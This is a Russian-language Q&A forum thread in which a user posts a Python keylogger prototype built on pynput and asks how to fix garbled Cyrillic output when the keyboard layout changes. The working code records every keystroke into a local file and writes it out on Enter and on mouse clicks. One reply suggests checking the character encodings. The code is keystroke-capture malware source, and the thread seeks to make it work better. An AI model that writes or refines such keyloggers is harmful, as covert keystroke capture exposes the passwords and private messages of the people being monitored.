owner228
@owner228

Проблема с кириллицей, как ее решить?

Написал простенький прототип кейлогера и столкнулся с проблемой при запуске. Если раскладка не была сначала английской, а потом русской, бот пишет символы со значками вопроса по центру. А если раскладка была сначала английская, потом русская, то сообщения вводятся вот так: ghbdtn. Как мне исправить эту проблему со сменами раскладки для моего кода? Вот код.
from pynput import keyboard, mouse

buffer = ''

def on_press(key):
    global buffer
    try:
        if key == keyboard.Key.enter:
            with open('rec.txt', 'a') as f:
                f.write(buffer.strip() + '\n')
            buffer = ''
        else:
            buffer += key.char
    except AttributeError:
        if key == keyboard.Key.space:
            buffer += ' '

def on_click(x, y, button, pressed):
    global buffer
    if not pressed:
        with open('rec.txt', 'a') as f:
            f.write(buffer.strip() + '\n')
        buffer = ''

with keyboard.Listener(on_press=on_press) as keyboard_listener, mouse.Listener(on_click=on_click) as mouse_listener:
    keyboard_listener.join()
    mouse_listener.join()
  • Вопрос задан
  • 117 просмотров
Решения вопроса 1
Vindicar
@Vindicar
RTFM!
Разберись, в какой кодировке приходят символы от клавиатуры (под виндой вариантов немного: для кириллицы windows-1251 или ucs-2), и в какой кодировке ты их пишешь в файл.
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы